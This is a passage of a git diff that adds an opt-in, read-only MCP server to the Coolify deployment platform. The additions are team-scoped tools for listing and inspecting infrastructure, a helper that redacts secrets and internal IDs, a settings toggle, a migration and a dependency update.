Illuminate\Auth\Middleware\EnsureEmailIsVerified; +use Illuminate\Auth\Middleware\RequirePassword; +use Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse; use Illuminate\Foundation\Http\Kernel as HttpKernel; +use Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull; +use Illuminate\Foundation\Http\Middleware\ValidatePostSize; +use Illuminate\Http\Middleware\HandleCors; +use Illuminate\Http\Middleware\SetCacheHeaders; +use Illuminate\Routing\Middleware\SubstituteBindings; +use Illuminate\Routing\Middleware\ThrottleRequests; +use Illuminate\Session\Middleware\AuthenticateSession; +use Illuminate\Session\Middleware\StartSession; +use Illuminate\View\Middleware\ShareErrorsFromSession; +use Laravel\Sanctum\Http\Middleware\CheckAbilities; +use Laravel\Sanctum\Http\Middleware\CheckForAnyAbility; class Kernel extends HttpKernel { @@ -14,13 +47,13 @@ class Kernel extends HttpKernel * @var array */ protected $middleware = [ - \App\Http\Middleware\TrustHosts::class, - \App\Http\Middleware\TrustProxies::class, - \Illuminate\Http\Middleware\HandleCors::class, - \App\Http\Middleware\PreventRequestsDuringMaintenance::class, - \Illuminate\Foundation\Http\Middleware\ValidatePostSize::class, - \App\Http\Middleware\TrimStrings::class, - \Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull::class, + TrustHosts::class, + TrustProxies::class, + HandleCors::class, + PreventRequestsDuringMaintenance::class, + ValidatePostSize::class, + TrimStrings::class, + ConvertEmptyStringsToNull::class, ]; @@ -31,21 +64,21 @@ class Kernel extends HttpKernel */ protected $middlewareGroups = [ 'web' => [ - \App\Http\Middleware\EncryptCookies::class, - \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class, - \Illuminate\Session\Middleware\StartSession::class, - \Illuminate\View\Middleware\ShareErrorsFromSession::class, - \App\Http\Middleware\VerifyCsrfToken::class, - \Illuminate\Routing\Middleware\SubstituteBindings::class, - \App\Http\Middleware\CheckForcePasswordReset::class, - \App\Http\Middleware\DecideWhatToDoWithUser::class, + EncryptCookies::class, + AddQueuedCookiesToResponse::class, + StartSession::class, + ShareErrorsFromSession::class, + VerifyCsrfToken::class, + SubstituteBindings::class, + CheckForcePasswordReset::class, + DecideWhatToDoWithUser::class, ], 'api' => [ // \Laravel\Sanctum\Http\Middleware\EnsureFrontendRequestsAreStateful::class, - \Illuminate\Routing\Middleware\ThrottleRequests::class.':api', - \Illuminate\Routing\Middleware\SubstituteBindings::class, + ThrottleRequests::class.':api', + SubstituteBindings::class, ], ]; @@ -57,22 +90,23 @@ class Kernel extends HttpKernel * @var array */ protected $middlewareAliases = [ - 'auth' => \App\Http\Middleware\Authenticate::class, - 'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class, - 'auth.session' => \Illuminate\Session\Middleware\AuthenticateSession::class, - 'cache.headers' => \Illuminate\Http\Middleware\SetCacheHeaders::class, - 'can' => \Illuminate\Auth\Middleware\Authorize::class, - 'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class, - 'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class, - 'signed' => \App\Http\Middleware\ValidateSignature::class, - 'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class, - 'verified' => \Illuminate\Auth\Middleware\EnsureEmailIsVerified::class, - 'abilities' => \Laravel\Sanctum\Http\Middleware\CheckAbilities::class, - 'ability' => \Laravel\Sanctum\Http\Middleware\CheckForAnyAbility::class, - 'api.ability' => \App\Http\Middleware\ApiAbility::class, - 'api.sensitive' => \App\Http\Middleware\ApiSensitiveData::class, - 'can.create.resources' => \App\Http\Middleware\CanCreateResources::class, - 'can.update.resource' => \App\Http\Middleware\CanUpdateResource::class, - 'can.access.terminal' => \App\Http\Middleware\CanAccessTerminal::class, + 'auth' => Authenticate::class, + 'auth.basic' => AuthenticateWithBasicAuth::class, + 'auth.session' => AuthenticateSession::class, + 'cache.headers' => SetCacheHeaders::class, + 'can' => Authorize::class, + 'guest' => RedirectIfAuthenticated::class, + 'password.confirm' => RequirePassword::class, + 'signed' => ValidateSignature::class, + 'throttle' => ThrottleRequests::class, + 'verified' => EnsureEmailIsVerified::class, + 'abilities' => CheckAbilities::class, + 'ability' => CheckForAnyAbility::class, + 'api.ability' => ApiAbility::class, + 'api.sensitive' => ApiSensitiveData::class, + 'can.create.resources' => CanCreateResources::class, + 'can.update.resource' => CanUpdateResource::class, + 'can.access.terminal' => CanAccessTerminal::class, + 'mcp.enabled' => EnsureMcpEnabled::class, ]; } diff --git a/app/Http/Middleware/EnsureMcpEnabled.php b/app/Http/Middleware/EnsureMcpEnabled.php new file mode 100644 index 000000000..9c4f1339c --- /dev/null +++ b/app/Http/Middleware/EnsureMcpEnabled.php @@ -0,0 +1,25 @@ +is_mcp_server_enabled) { + abort(404); + } + + return $next($request); + } +} diff --git a/app/Livewire/Settings/Advanced.php b/app/Livewire/Settings/Advanced.php index d31f68859..3a6237183 100644 --- a/app/Livewire/Settings/Advanced.php +++ b/app/Livewire/Settings/Advanced.php @@ -37,6 +37,9 @@ class Advanced extends Component #[Validate('boolean')] public bool $is_wire_navigate_enabled; + #[Validate('boolean')] + public bool $is_mcp_server_enabled; + public function rules() { return [ @@ -49,6 +52,7 @@ public function rules() 'is_sponsorship_popup_enabled' => 'boolean', 'disable_two_step_confirmation' => 'boolean', 'is_wire_navigate_enabled' => 'boolean', + 'is_mcp_server_enabled' => 'boolean', ]; } @@ -67,6 +71,7 @@ public function mount() $this->disable_two_step_confirmation = $this->settings->disable_two_step_confirmation; $this->is_sponsorship_popup_enabled = $this->settings->is_sponsorship_popup_enabled; $this->is_wire_navigate_enabled = $this->settings->is_wire_navigate_enabled ?? true; + $this->is_mcp_server_enabled = $this->settings->is_mcp_server_enabled ?? false; } public function submit() @@ -150,6 +155,7 @@ public function instantSave() $this->settings->is_sponsorship_popup_enabled = $this->is_sponsorship_popup_enabled; $this->settings->disable_two_step_confirmation = $this->disable_two_step_confirmation; $this->settings->is_wire_navigate_enabled = $this->is_wire_navigate_enabled; + $this->settings->is_mcp_server_enabled = $this->is_mcp_server_enabled; $this->settings->save(); $this->dispatch('success', 'Settings updated!'); } catch (\Exception $e) { diff --git a/app/Mcp/Concerns/BuildsResponse.php b/app/Mcp/Concerns/BuildsResponse.php new file mode 100644 index 000000000..10d87ae92 --- /dev/null +++ b/app/Mcp/Concerns/BuildsResponse.php @@ -0,0 +1,225 @@ + + */ + protected array $sensitiveKeys = [ + // raw IDs / morph types (uuid is the public identifier) + 'id', 'team_id', 'tokenable_id', 'tokenable_type', + 'server_id', 'private_key_id', 'cloud_provider_token_id', + 'hetzner_server_id', 'environment_id', 'destination_id', + 'source_id', 'repository_project_id', 'application_id', + 'service_id', 'project_id', 'parent_id', + 'resourceable', 'resourceable_id', 'resourceable_type', + 'destination_type', 'source_type', 'tokenable', + + // sentinel / observability secrets + 'sentinel_token', 'sentinel_custom_url', + 'logdrain_newrelic_license_key', 'logdrain_axiom_api_key', + 'logdrain_custom_config', 'logdrain_custom_config_parser', + + // database passwords + 'postgres_password', 'dragonfly_password', 'keydb_password', + 'redis_password', 'mongo_initdb_root_password', + 'mariadb_password', 'mariadb_root_password', + 'mysql_password', 'mysql_root_password', + 'clickhouse_admin_password', + + // app/env secrets + 'value', 'real_value', 'http_basic_auth_password', + + // database connection strings embed credentials + 'internal_db_url', 'external_db_url', 'init_scripts', + + // webhook secrets + 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', + 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', + + // bulky / unsafe blobs + 'dockerfile', 'docker_compose', 'docker_compose_raw', + 'custom_labels', 'environment_variables', + 'environment_variables_preview', 'validation_logs', + 'server_metadata', + ]; + + /** + * Recursively remove sensitive keys from any nested array structure. + * + * @param array $data + * @return array + */ + protected function scrubSensitive(array $data): array + { + $deny = array_flip($this->sensitiveKeys); + + $walk = function ($value) use (&$walk, $deny) { + if (! is_array($value)) { + return $value; + } + + $out = []; + foreach ($value as $key => $inner) { + if (is_string($key) && isset($deny[$key])) { + continue; + } + $out[$key] = $walk($inner); + } + + return $out; + }; + + return $walk($data); + } + + /** + * @param array|array $data + * @param array> $actions + * @param array|null $pagination + */ + protected function respond(array $data, array $actions = [], ?array $pagination = null): Response + { + $payload = ['data' => $data]; + + if ($actions !== []) { + $payload['_actions'] = $actions; + } + + if ($pagination !== null) { + $payload['_pagination'] = $pagination; + } + + return Response::json($payload); + } + + /** + * @return array{page:int, per_page:int, offset:int} + */ + protected function paginationArgs(Request $request): array + { + $page = max(1, (int) ($request->get('page') ?? 1)); + $perPage = (int) ($request->get('per_page') ?? $this->defaultPerPage); + $perPage = max(1, min($this->maxPerPage, $perPage)); + + return [ + 'page' => $page, + 'per_page' => $perPage, + 'offset' => ($page - 1) * $perPage, + ]; + } + + /** + * @param array{page:int, per_page:int, offset:int} $args + * @return array|null + */ + protected function paginationMeta(string $tool, array $args, int $total, array $extraArgs = []): ?array + { + $page = $args['page']; + $perPage = $args['per_page']; + $totalPages = (int) ceil($total / $perPage); + + $meta = [ + 'page' => $page, + 'per_page' => $perPage, + 'total' => $total, + 'total_pages' => $totalPages, + ]; + + if ($page < $totalPages) { + $meta['next'] = [ + 'tool' => $tool, + 'args' => array_merge($extraArgs, ['page' => $page + 1, 'per_page' => $perPage]), + ]; + } + + return $meta; + } + + /** + * HATEOAS-style action suggestions for an application. + * + * @return array> + */ + protected function actionsForApplication(string $uuid, ?string $status = null): array + { + $actions = [ + ['tool' => 'get_application', 'args' => ['uuid' => $uuid], 'hint' => 'Full details'], + ]; + + $s = strtolower((string) $status); + if (str_contains($s, 'running')) { + $actions[] = ['tool' => 'control', 'args' => ['resource' => 'application', 'action' => 'restart', 'uuid' => $uuid], 'hint' => 'Restart']; + $actions[] = ['tool' => 'control', 'args' => ['resource' => 'application', 'action' => 'stop', 'uuid' => $uuid], 'hint' => 'Stop']; + } else { + $actions[] = ['tool' => 'control', 'args' => ['resource' => 'application', 'action' => 'start', 'uuid' => $uuid], 'hint' => 'Start']; + } + + return $actions; + } + + /** + * @return array> + */ + protected function actionsForDatabase(string $uuid, ?string $status = null): array + { + $actions = [ + ['tool' => 'get_database', 'args' => ['uuid' => $uuid], 'hint' => 'Full details'], + ]; + + $s = strtolower((string) $status); + if (str_contains($s, 'running')) { + $actions[] = ['tool' => 'control', 'args' => ['resource' => 'database', 'action' => 'restart', 'uuid' => $uuid], 'hint' => 'Restart']; + $actions[] = ['tool' => 'control', 'args' => ['resource' => 'database', 'action' => 'stop', 'uuid' => $uuid], 'hint' => 'Stop']; + } else { + $actions[] = ['tool' => 'control', 'args' => ['resource' => 'database', 'action' => 'start', 'uuid' => $uuid], 'hint' => 'Start']; + } + + return $actions; + } + + /** + * @return array> + */ + protected function actionsForService(string $uuid, ?string $status = null): array + { + $actions = [ + ['tool' => 'get_service', 'args' => ['uuid' => $uuid], 'hint' => 'Full details'], + ]; + + $s = strtolower((string) $status); + if (str_contains($s, 'running')) { + $actions[] = ['tool' => 'control', 'args' => ['resource' => 'service', 'action' => 'restart', 'uuid' => $uuid], 'hint' => 'Restart']; + $actions[] = ['tool' => 'control', 'args' => ['resource' => 'service', 'action' => 'stop', 'uuid' => $uuid], 'hint' => 'Stop']; + } else { + $actions[] = ['tool' => 'control', 'args' => ['resource' => 'service', 'action' => 'start', 'uuid' => $uuid], 'hint' => 'Start']; + } + + return $actions; + } + + /** + * @return array> + */ + protected function actionsForServer(string $uuid): array + { + return [ + ['tool' => 'get_server', 'args' => ['uuid' => $uuid], 'hint' => 'Full details'], + ]; + } +} diff --git a/app/Mcp/Concerns/ResolvesTeam.php b/app/Mcp/Concerns/ResolvesTeam.php new file mode 100644 index 000000000..f75219fcf --- /dev/null +++ b/app/Mcp/Concerns/ResolvesTeam.php @@ -0,0 +1,35 @@ +user(); + if (! $user) { + return Response::error('Unauthenticated.'); + } + + $token = $user->currentAccessToken(); + if (! $token) { + return Response::error('Invalid token.'); + } + + if ($token->can('root') || $token->can($ability)) { + return null; + } + + return Response::error("Missing required permissions: {$ability}"); + } + + protected function resolveTeamId(Request $request): ?int + { + $token = $request->user()?->currentAccessToken(); + + return $token?->team_id; + } +} diff --git a/app/Mcp/Servers/CoolifyServer.php b/app/Mcp/Servers/CoolifyServer.php new file mode 100644 index 000000000..aff7e3f76 --- /dev/null +++ b/app/Mcp/Servers/CoolifyServer.php @@ -0,0 +1,50 @@ +ensureAbility($request, 'read')) { + return $error; + } + + $teamId = $this->resolveTeamId($request); + if (is_null($teamId)) { + return Response::error('Invalid token.'); + } + + $uuid = $request->get('uuid'); + if (! is_string($uuid) || $uuid === '') { + return Response::error('uuid argument is required.'); + } + + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $uuid)->first(); + if (! $application) { + return Response::error("Application [{$uuid}] not found."); + } + + // Drop relations that the server_status accessor lazy-loads — they + // pull in sensitive nested data (server.settings.sentinel_token, etc.) + $application->setRelations([]); + $application->makeHidden(['destination', 'source', 'additional_servers', 'environment', 'tags', 'environmentVariables']); + + return $this->respond( + $this->scrubSensitive($application->toArray()), + $this->actionsForApplication($uuid, $application->status), + ); + } + + public function schema(JsonSchema $schema): array + { + return [ + 'uuid' => $schema->string()->description('Application UUID.')->required(), + ]; + } +} diff --git a/app/Mcp/Tools/GetDatabase.php b/app/Mcp/Tools/GetDatabase.php new file mode 100644 index 000000000..4eee9c961 --- /dev/null +++ b/app/Mcp/Tools/GetDatabase.php @@ -0,0 +1,58 @@ +ensureAbility($request, 'read')) { + return $error; + } + + $teamId = $this->resolveTeamId($request); + if (is_null($teamId)) { + return Response::error('Invalid token.'); + } + + $uuid = $request->get('uuid'); + if (! is_string($uuid) || $uuid === '') { + return Response::error('uuid argument is required.'); + } + + $database = queryDatabaseByUuidWithinTeam($uuid, (string) $teamId); + if (! $database) { + return Response::error("Database [{$uuid}] not found."); + } + + // Drop relations so deep server/destination data doesn't leak. + $database->setRelations([]); + $database->makeHidden(['destination', 'source', 'environment', 'environment_variables', 'environment_variables_preview']); + + return $this->respond( + $this->scrubSensitive($database->toArray()), + $this->actionsForDatabase($uuid, $database->status ?? null), + ); + } + + public function schema(JsonSchema $schema): array + { + return [ + 'uuid' => $schema->string()->description('Database UUID.')->required(), + ]; + } +} diff --git a/app/Mcp/Tools/GetInfrastructureOverview.php b/app/Mcp/Tools/GetInfrastructureOverview.php new file mode 100644 index 000000000..06e91ff57 --- /dev/null +++ b/app/Mcp/Tools/GetInfrastructureOverview.php @@ -0,0 +1,93 @@ +ensureAbility($request, 'read')) { + return $error; + } + + $teamId = $this->resolveTeamId($request); + if (is_null($teamId)) { + return Response::error('Invalid token.'); + } + + $servers = Server::whereTeamId($teamId) + ->select('id', 'name', 'uuid', 'ip', 'description') + ->with('settings:id,server_id,is_reachable,is_usable') + ->get() + ->map(fn ($s) => [ + 'uuid' => $s->uuid, + 'name' => $s->name, + 'ip' => $s->ip, + 'is_reachable' => $s->settings?->is_reachable, + 'is_usable' => $s->settings?->is_usable, + ]) + ->values() + ->all(); + + $projects = Project::where('team_id', $teamId)->get(); + + $appCount = 0; + $serviceCount = 0; + $databaseCount = 0; + $projectSummaries = []; + + foreach ($projects as $project) { + $apps = $project->applications()->count(); + $services = $project->services()->count(); + $databases = $project->databases()->count(); + + $appCount += $apps; + $serviceCount += $services; + $databaseCount += $databases; + + $projectSummaries[] = [ + 'uuid' => $project->uuid, + 'name' => $project->name, + 'counts' => [ + 'applications' => $apps, + 'services' => $services, + 'databases' => $databases, + ], + ]; + } + + return $this->respond([ + 'coolify_version' => config('constants.coolify.version'), + 'servers' => $servers, + 'projects' => $projectSummaries, + 'counts' => [ + 'servers' => count($servers), + 'projects' => count($projectSummaries), + 'applications' => $appCount, + 'services' => $serviceCount, + 'databases' => $databaseCount, + ], + ]); + } + + public function schema(JsonSchema $schema): array + { + return []; + } +} diff --git a/app/Mcp/Tools/GetServer.php b/app/Mcp/Tools/GetServer.php new file mode 100644 index 000000000..fc3e72f14 --- /dev/null +++ b/app/Mcp/Tools/GetServer.php @@ -0,0 +1,57 @@ +ensureAbility($request, 'read')) { + return $error; + } + + $teamId = $this->resolveTeamId($request); + if (is_null($teamId)) { + return Response::error('Invalid token.'); + } + + $uuid = $request->get('uuid'); + if (! is_string($uuid) || $uuid === '') { + return Response::error('uuid argument is required.'); + } + + $server = Server::whereTeamId($teamId)->where('uuid', $uuid)->with('settings')->first(); + if (! $server) { + return Response::error("Server [{$uuid}] not found."); + } + + $data = $this->scrubSensitive($server->toArray()); + $data['is_reachable'] = $server->settings?->is_reachable; + $data['is_usable'] = $server->settings?->is_usable; + $data['connection_timeout'] = $server->settings?->connection_timeout; + + return $this->respond($data, $this->actionsForServer($uuid)); + } + + public function schema(JsonSchema $schema): array + { + return [ + 'uuid' => $schema->string()->description('Server UUID.')->required(), + ]; + } +} diff --git a/app/Mcp/Tools/GetService.php b/app/Mcp/Tools/GetService.php new file mode 100644 index 000000000..475958272 --- /dev/null +++ b/app/Mcp/Tools/GetService.php @@ -0,0 +1,61 @@ +ensureAbility($request, 'read')) { + return $error; + } + + $teamId = $this->resolveTeamId($request); + if (is_null($teamId)) { + return Response::error('Invalid token.'); + } + + $uuid = $request->get('uuid'); + if (! is_string($uuid) || $uuid === '') { + return Response::error('uuid argument is required.'); + } + + $service = Service::whereRelation('environment.project.team', 'id', $teamId) + ->where('uuid', $uuid) + ->first(); + + if (! $service) { + return Response::error("Service [{$uuid}] not found."); + } + + $service->setRelations([]); + $service->makeHidden(['destination', 'source', 'environment', 'applications', 'databases', 'serviceApplications', 'serviceDatabases']); + + return $this->respond( + $this->scrubSensitive($service->toArray()), + $this->actionsForService($uuid, $service->status ?? null), + ); + } + + public function schema(JsonSchema $schema): array + { + return [ + 'uuid' => $schema->string()->description('Service UUID.')->required(), + ]; + } +} diff --git a/app/Mcp/Tools/ListApplications.php b/app/Mcp/Tools/ListApplications.php new file mode 100644 index 000000000..947d49ed1 --- /dev/null +++ b/app/Mcp/Tools/ListApplications.php @@ -0,0 +1,74 @@ +ensureAbility($request, 'read')) { + return $error; + } + + $teamId = $this->resolveTeamId($request); + if (is_null($teamId)) { + return Response::error('Invalid token.'); + } + + $tagName = $request->get('tag'); + $args = $this->paginationArgs($request); + + $query = Application::ownedByCurrentTeamAPI($teamId) + ->when($tagName, function ($query, $tagName) { + $query->whereHas('tags', fn ($q) => $q->where('name', $tagName)); + }); + + $total = (clone $query)->count(); + + $summaries = $query + ->skip($args['offset']) + ->take($args['per_page']) + ->get() + ->map(fn ($app) => [ + 'uuid' => $app->uuid, + 'name' => $app->name, + 'status' => $app->status, + 'fqdn' => $app->fqdn, + 'git_repository' => $app->git_repository, + ]) + ->values() + ->all(); + + $extra = $tagName ? ['tag' => $tagName] : []; + + return $this->respond( + $summaries, + [], + $this->paginationMeta('list_applications', $args, $total, $extra), + ); + } + + public function schema(JsonSchema $schema): array + { + return [ + 'tag' => $schema->string()->description('Optional tag name filter.'), + 'page' => $schema->integer()->description('Page number (default 1).'), + 'per_page' => $schema->integer()->description('Items per page (default 50, max 100).'), + ]; + } +} diff --git a/app/Mcp/Tools/ListDatabases.php b/app/Mcp/Tools/ListDatabases.php new file mode 100644 index 000000000..7eb1fde00 --- /dev/null +++ b/app/Mcp/Tools/ListDatabases.php @@ -0,0 +1,69 @@ +ensureAbility($request, 'read')) { + return $error; + } + + $teamId = $this->resolveTeamId($request); + if (is_null($teamId)) { + return Response::error('Invalid token.'); + } + + $args = $this->paginationArgs($request); + + $projects = Project::where('team_id', $teamId)->get(); + $databases = collect(); + foreach ($projects as $project) { + $databases = $databases->merge($project->databases()); + } + + $total = $databases->count(); + + $summaries = $databases + ->sortBy('name') + ->slice($args['offset'], $args['per_page']) + ->map(fn ($db) => [ + 'uuid' => $db->uuid, + 'name' => $db->name, + 'status' => $db->status ?? null, + 'type' => method_exists($db, 'type') ? $db->type() : class_basename($db), + ]) + ->values() + ->all(); + + return $this->respond( + $summaries, + [], + $this->paginationMeta('list_databases', $args, $total), + ); + } + + public function schema(JsonSchema $schema): array + { + return [ + 'page' => $schema->integer()->description('Page number (default 1).'), + 'per_page' => $schema->integer()->description('Items per page (default 50, max 100).'), + ]; + } +} diff --git a/app/Mcp/Tools/ListProjects.php b/app/Mcp/Tools/ListProjects.php new file mode 100644 index 000000000..9ce1576b9 --- /dev/null +++ b/app/Mcp/Tools/ListProjects.php @@ -0,0 +1,66 @@ +ensureAbility($request, 'read')) { + return $error; + } + + $teamId = $this->resolveTeamId($request); + if (is_null($teamId)) { + return Response::error('Invalid token.'); + } + + $args = $this->paginationArgs($request); + + $query = Project::whereTeamId($teamId); + $total = (clone $query)->count(); + + $summaries = $query + ->select('name', 'description', 'uuid') + ->orderBy('name') + ->skip($args['offset']) + ->take($args['per_page']) + ->get() + ->map(fn ($p) => [ + 'uuid' => $p->uuid, + 'name' => $p->name, + 'description' => $p->description, + ]) + ->values() + ->all(); + + return $this->respond( + $summaries, + [], + $this->paginationMeta('list_projects', $args, $total), + ); + } + + public function schema(JsonSchema $schema): array + { + return [ + 'page' => $schema->integer()->description('Page number (default 1).'), + 'per_page' => $schema->integer()->description('Items per page (default 50, max 100).'), + ]; + } +} diff --git a/app/Mcp/Tools/ListServers.php b/app/Mcp/Tools/ListServers.php new file mode 100644 index 000000000..20250c454 --- /dev/null +++ b/app/Mcp/Tools/ListServers.php @@ -0,0 +1,67 @@ +ensureAbility($request, 'read')) { + return $error; + } + + $teamId = $this->resolveTeamId($request); + if (is_null($teamId)) { + return Response::error('Invalid token.'); + } + + $args = $this->paginationArgs($request); + + $query = Server::whereTeamId($teamId)->with('settings:id,server_id,is_reachable,is_usable'); + $total = (clone $query)->count(); + + $summaries = $query + ->orderBy('name') + ->skip($args['offset']) + ->take($args['per_page']) + ->get() + ->map(fn ($s) => [ + 'uuid' => $s->uuid, + 'name' => $s->name, + 'ip' => $s->ip, + 'is_reachable' => $s->settings?->is_reachable, + 'is_usable' => $s->settings?->is_usable, + ]) + ->values() + ->all(); + + return $this->respond( + $summaries, + [], + $this->paginationMeta('list_servers', $args, $total), + ); + } + + public function schema(JsonSchema $schema): array + { + return [ + 'page' => $schema->integer()->description('Page number (default 1).'), + 'per_page' => $schema->integer()->description('Items per page (default 50, max 100).'), + ]; + } +} diff --git a/app/Mcp/Tools/ListServices.php b/app/Mcp/Tools/ListServices.php new file mode 100644 index 000000000..4b33231ba --- /dev/null +++ b/app/Mcp/Tools/ListServices.php @@ -0,0 +1,68 @@ +ensureAbility($request, 'read')) { + return $error; + } + + $teamId = $this->resolveTeamId($request); + if (is_null($teamId)) { + return Response::error('Invalid token.'); + } + + $args = $this->paginationArgs($request); + + $projects = Project::where('team_id', $teamId)->get(); + $services = collect(); + foreach ($projects as $project) { + $services = $services->merge($project->services()->get()); + } + + $total = $services->count(); + + $summaries = $services + ->sortBy('name') + ->slice($args['offset'], $args['per_page']) + ->map(fn ($svc) => [ + 'uuid' => $svc->uuid, + 'name' => $svc->name, + 'status' => $svc->status ?? null, + ]) + ->values() + ->all(); + + return $this->respond( + $summaries, + [], + $this->paginationMeta('list_services', $args, $total), + ); + } + + public function schema(JsonSchema $schema): array + { + return [ + 'page' => $schema->integer()->description('Page number (default 1).'), + 'per_page' => $schema->integer()->description('Items per page (default 50, max 100).'), + ]; + } +} diff --git a/app/Models/InstanceSettings.php b/app/Models/InstanceSettings.php index 6061bc863..d5c3bfa28 100644 --- a/app/Models/InstanceSettings.php +++ b/app/Models/InstanceSettings.php @@ -45,6 +45,7 @@ class InstanceSettings extends Model 'is_sponsorship_popup_enabled', 'dev_helper_version', 'is_wire_navigate_enabled', + 'is_mcp_server_enabled', ]; protected $casts = [ @@ -67,6 +68,7 @@ class InstanceSettings extends Model 'update_check_frequency' => 'string', 'sentinel_token' => 'encrypted', 'is_wire_navigate_enabled' => 'boolean', + 'is_mcp_server_enabled' => 'boolean', ]; protected static function booted(): void diff --git a/composer.json b/composer.json index e2b16b31b..9415aa624 100644 --- a/composer.json +++ b/composer.json @@ -18,6 +18,7 @@ "laravel/fortify": "^1.34.0", "laravel/framework": "^12.49.0", "laravel/horizon": "^5.43.0", + "laravel/mcp": "^0.6.7", "laravel/nightwatch": "^1.24", "laravel/pail": "^1.2.4", "laravel/prompts": "^0.3.11|^0.3.11|^0.3.11", diff --git a/composer.lock b/composer.lock index 2f27235f5..36715d2c5 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "40bddea995c1744e4aec517263109a2f", + "content-hash": "64b77285a7140ce68e83db2659e9a21d", "packages": [ { "name": "aws/aws-crt-php", @@ -2066,6 +2066,79 @@ }, "time": "2026-03-18T14:14:59+00:00" }, + { + "name": "laravel/mcp", + "version": "v0.6.7", + "source": { + "type": "git", + "url": "https://github.com/laravel/mcp.git", + "reference": "c3775e57b95d7eadb580d543689d9971ec8721f2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/mcp/zipball/c3775e57b95d7eadb580d543689d9971ec8721f2", + "reference": "c3775e57b95d7eadb580d543689d9971ec8721f2", + "shasum": "" + }, + "require": { + "ext-json": "*", + "ext-mbstring": "*", + "illuminate/console": "^11.45.3|^12.41.1|^13.0", + "illuminate/container": "^11.45.3|^12.41.1|^13.0", + "illuminate/contracts": "^11.45.3|^12.41.1|^13.0", + "illuminate/http": "^11.45.3|^12.41.1|^13.0", + "illuminate/json-schema": "^12.41.1|^13.0", + "illuminate/routing": "^11.45.3|^12.41.1|^13.0", + "illuminate/support": "^11.45.3|^12.41.1|^13.0", + "illuminate/validation": "^11.45.3|^12.41.1|^13.0", + "php": "^8.2" + }, + "require-dev": { + "laravel/pint": "^1.20", + "orchestra/testbench": "^9.15|^10.8|^11.0", + "pestphp/pest": "^3.8.5|^4.3.2", + "phpstan/phpstan": "^2.1.27", + "rector/rector": "^2.2.4" + }, + "type": "library", + "extra": { + "laravel": { + "aliases": { + "Mcp": "Laravel\\Mcp\\Server\\Facades\\Mcp" + }, + "providers": [ + "Laravel\\Mcp\\Server\\McpServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "Laravel\\Mcp\\": "src/", + "Laravel\\Mcp\\Server\\": "src/Server/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "Rapidly build MCP servers for your Laravel applications.", + "homepage": "https://github.com/laravel/mcp", + "keywords": [ + "laravel", + "mcp" + ], + "support": { + "issues": "https://github.com/laravel/mcp/issues", + "source": "https://github.com/laravel/mcp" + }, + "time": "2026-04-15T08:30:42+00:00" + }, { "name": "laravel/nightwatch", "version": "v1.24.4", @@ -13738,79 +13811,6 @@ }, "time": "2026-03-21T11:50:49+00:00" }, - { - "name": "laravel/mcp", - "version": "v0.6.4", - "source": { - "type": "git", - "url": "https://github.com/laravel/mcp.git", - "reference": "f822c5eb5beed19adb2e5bfe2f46f8c977ecea42" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/laravel/mcp/zipball/f822c5eb5beed19adb2e5bfe2f46f8c977ecea42", - "reference": "f822c5eb5beed19adb2e5bfe2f46f8c977ecea42", - "shasum": "" - }, - "require": { - "ext-json": "*", - "ext-mbstring": "*", - "illuminate/console": "^11.45.3|^12.41.1|^13.0", - "illuminate/container": "^11.45.3|^12.41.1|^13.0", - "illuminate/contracts": "^11.45.3|^12.41.1|^13.0", - "illuminate/http": "^11.45.3|^12.41.1|^13.0", - "illuminate/json-schema": "^12.41.1|^13.0", - "illuminate/routing": "^11.45.3|^12.41.1|^13.0", - "illuminate/support": "^11.45.3|^12.41.1|^13.0", - "illuminate/validation": "^11.45.3|^12.41.1|^13.0", - "php": "^8.2" - }, - "require-dev": { - "laravel/pint": "^1.20", - "orchestra/testbench": "^9.15|^10.8|^11.0", - "pestphp/pest": "^3.8.5|^4.3.2", - "phpstan/phpstan": "^2.1.27", - "rector/rector": "^2.2.4" - }, - "type": "library", - "extra": { - "laravel": { - "aliases": { - "Mcp": "Laravel\\Mcp\\Server\\Facades\\Mcp" - }, - "providers": [ - "Laravel\\Mcp\\Server\\McpServiceProvider" - ] - } - }, - "autoload": { - "psr-4": { - "Laravel\\Mcp\\": "src/", - "Laravel\\Mcp\\Server\\": "src/Server/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Taylor Otwell", - "email": "taylor@laravel.com" - } - ], - "description": "Rapidly build MCP servers for your Laravel applications.", - "homepage": "https://github.com/laravel/mcp", - "keywords": [ - "laravel", - "mcp" - ], - "support": { - "issues": "https://github.com/laravel/mcp/issues", - "source": "https://github.com/laravel/mcp" - }, - "time": "2026-03-19T12:37:13+00:00" - }, { "name": "laravel/pint", "version": "v1.29.0", @@ -17311,5 +17311,5 @@ "php": "^8.4" }, "platform-dev": {}, - "plugin-api-version": "2.9.0" + "plugin-api-version": "2.6.0" } diff --git a/database/migrations/2026_04_22_183029_add_is_mcp_server_enabled_to_instance_settings_table.php b/database/migrations/2026_04_22_183029_add_is_mcp_server_enabled_to_instance_settings_table.php new file mode 100644 index 000000000..f24548142 --- /dev/null +++ b/database/migrations/2026_04_22_183029_add_is_mcp_server_enabled_to_instance_settings_table.php @@ -0,0 +1,28 @@ +boolean('is_mcp_server_enabled')->default(false); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('instance_settings', function (Blueprint $table) { + $table->dropColumn('is_mcp_server_enabled'); + }); + } +}; diff --git a/openapi.json b/openapi.json index 